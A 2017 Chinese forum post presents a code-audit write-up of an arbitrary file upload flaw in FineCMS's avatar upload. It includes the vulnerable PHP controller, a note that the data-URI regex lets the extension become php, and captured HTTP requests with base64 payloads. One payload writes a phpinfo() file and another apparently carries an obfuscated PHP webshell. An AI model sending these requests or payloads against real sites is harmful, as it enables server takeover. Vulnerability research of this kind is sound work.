用户
搜索
  • TA的每日心情
    慵懒
    2017-7-11 17:34
  • 签到天数: 19 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    1

    主题

    15

    帖子

    144

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-5-19

    i春秋签约作者

    发表于 2017-6-2 16:02:10 1111870
    本帖最后由 常威 于 2017-6-2 08:14 编辑

    一、前言
    看到我私藏的一个洞被别人提交到补天拿奖金,所以我干脆在社区这里分享,给大家学习下
    本文原创作者:常威,本文属i春秋原创奖励计划,未经许可禁止转载!



    二、正文
    1.定位功能
    下载源码在本地搭建起来后,正常登陆了用户后,我们为用户上传头像的时候用burp抓包,看看这个请求动作的细节
    f.png

    [HTML] 纯文本查看 复制代码
    POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1
    Host: 127.0.0.1
    Content-Length: 208
    Accept: application/json, text/javascript, */*; q=0.01
    Origin: [url]http://127.0.0.1[/url]
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: [url]http://127.0.0.1/index.php?s=member&c=account&m=avatar[/url]
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.8
    Cookie: member_uid=1; member_cookie=2db4367e75f3b482d301; 24b16fede9a67c9251d3e7c7161c83ac_ci_session=41petq3697gckar57c45r1trum84vn4h
    Connection: close
    
    tx=data%3Aimage%2Fjpeg%3Bbase64%2CPD9waHANCiRfPSIiOw0KJF9bKyIiXT0nJzsNCiRfPSIkXyIuIiI7DQokXz0oJF9bKyIiXXwiBiIpLigkX1srIiJdXiIEIikuKCRfWysiIl1eIhUiKTsNCg0KJHsnXycuJF99WydfJ10oJHsnXycuJF99WydfXyddKTsNCg0KDQo%3D

    因为finecms是基于ci框架开发的,所以很容易就可以定位到相关的功能点,我们去看看源码吧。


    2.审计代码
    那我们根据路由规则到文件/finecms/dayrui/controllers/member/Account.php 看看upload这个功能点的代码
    [PHP] 纯文本查看 复制代码
    /**
         *  上传头像处理
         *  传入头像压缩包,解压到指定文件夹后删除非图片文件
         */
        public function upload() {
    
            // 创建图片存储文件夹
            $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
            @dr_dir_delete($dir);
            !is_dir($dir) && dr_mkdirs($dir);
    
            if ($_POST['tx']) {
                $file = str_replace(' ', '+', $_POST['tx']);
                if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
                    $new_file = $dir.'0x0.'.$result[2];
                    if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                        exit(dr_json(0, '目录权限不足或磁盘已满'));
                    } else {
                        $this->load->library('image_lib');
                        $config['create_thumb'] = TRUE;
                        $config['thumb_marker'] = '';
                        $config['maintain_ratio'] = FALSE;
                        $config['source_image'] = $new_file;
                        foreach (array(30, 45, 90, 180) as $a) {
                            $config['width'] = $config['height'] = $a;
                            $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                            $this->image_lib->initialize($config);
                            if (!$this->image_lib->resize()) {
                                exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                                break;
                            }
                        }
                        list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                        !$type && exit(dr_json(0, '图片字符串不规范'));
                    }
                } else {
    
                    exit(dr_json(0, '图片字符串不规范'));
                }
            } else {
                exit(dr_json(0, '图片不存在'));
            }
    
    // 上传图片到服务器
            if (defined('UCSSO_API')) {
                $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
                !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
            }
    
    
            exit('1');
        }
    
    }



    代码里 使用 preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result) 对$_POST['tx']的内容进行正则匹配,匹配成功的话就生成文件名
    然后 if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) { 把文件内容写进刚刚生成的文件名
    文件名是 $new_file = $dir.'0x0.'.$result[2];
    其中 $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
    那么,各位看官看到这里就知道怎么利用了,没错,它的正则表达式存在问题,看这里 image\/(w+),如果我们提交的$_POST['tx']里改成image/php ,那么它就会生成php格式的文件,所以这里可以利用然后生成php文件。



    3.构造利用
    那我们的利用就很简单了,上传头像的时候使用burp进行抓包,把image/jpeg 改成image/php 即可getshell!!!
    看一下我的burp拦截修改后的信息:
    [HTML] 纯文本查看 复制代码
    POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1
    Host: 127.0.0.1
    Content-Length: 67
    Origin: [url]http://127.0.0.1[/url]
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    Referer: [url]http://127.0.0.1/index.php?s=member&c=account&m=avatar[/url]
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.8
    Cookie: member_uid=1; member_cookie=2db4367e75f3b482d301; 24b16fede9a67c9251d3e7c7161c83ac_ci_session=41petq3697gckar57c45r1trum84vn4h
    Connection: close
    
    tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHANCiBwaHBpbmZvKCk7IA0KPz4%3D


    forward之后,我们到成都的街头走一走。。。啊,什么鬼,呸!我们到网站目录的头像上传目录去看一看,发现成功写入php文件

    f2.png
    访问http://127.0.0.1/uploadfile/member/1/0x0.php,执行成功
    f3.png

    三、小结
    其实这个漏洞主要因为开发人员粗心造成的,这样的正则实在不该,最后应该有个白名单判断文件的后缀


    四、参考资料
    官方源码:http://git.oschina.net/dayrui/finecms



    本帖被以下淘专辑推荐:

    我是真的不会武功
    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    来自 5#
    发表于 2017-6-6 11:48:35
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
    奖金
    点评
    100
    利用过程清晰,下次可以把一些审计的技巧写的更详细一些。

    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!投稿请加我QQ:286894635。
    i春秋-楚:533191896
    i春秋-燕:129821314
    i春秋-齐:417360103
    i春秋-秦:262108018
    使用道具 举报 回复
    发表于 2017-6-2 17:07:46
    表哥厉害了...
    使用道具 举报 回复
    发表于 2017-6-3 09:09:44
    666分析的很到位
    使用道具 举报 回复
    发表于 2017-6-5 10:01:18
    M0L0K 发表于 2017-6-3 01:09
    666分析的很到位

    嗯嗯,欢迎交流学习经验
    我是真的不会武功
    使用道具 举报 回复
    发表于 2017-6-7 10:27:34
    楼主测试版本是多少?v5.0.7吗?还是其他版本
    使用道具 举报 回复
    发表于 2017-6-7 10:48:09
    gncao 发表于 2017-6-7 02:27
    楼主测试版本是多少?v5.0.7吗?还是其他版本

    It works on V5.0.7 too!
    我是真的不会武功
    使用道具 举报 回复
    发表于 2017-6-8 08:18:36
    使用道具 举报 回复
    发表于 2017-6-8 12:08:42
    学习
    使用道具 举报 回复
    发表于 2017-6-9 11:48:37
    哈哈,楼主是不是后悔,没有提交。
    使用道具 举报 回复
    发表于 2017-6-22 11:51:48
    使用道具 举报 回复
    发表于 2017-9-13 10:48:51
    前面的/1/这个是依据用户上传的次数变化的吗?
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册